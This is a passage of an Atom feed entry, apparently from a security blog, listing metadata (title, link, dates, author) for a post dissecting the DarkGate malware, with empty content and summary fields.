Delivery and Persistence as a Service</title><link href="/darkgate-malware" rel="alternate" type="text/html" title="Dissecting DarkGate: Modular Malware Delivery and Persistence as a Service" /><published>2024-02-29T00:00:00+00:00</published><updated>2024-02-29T00:00:00+00:00</updated><id>/darkgate-malware</id><content type="html" xml:base="/darkgate-malware"><![CDATA[]]></content><author><name>t0asts</name></author><summary type="html"><![CDATA[]]></summary></entry></feed>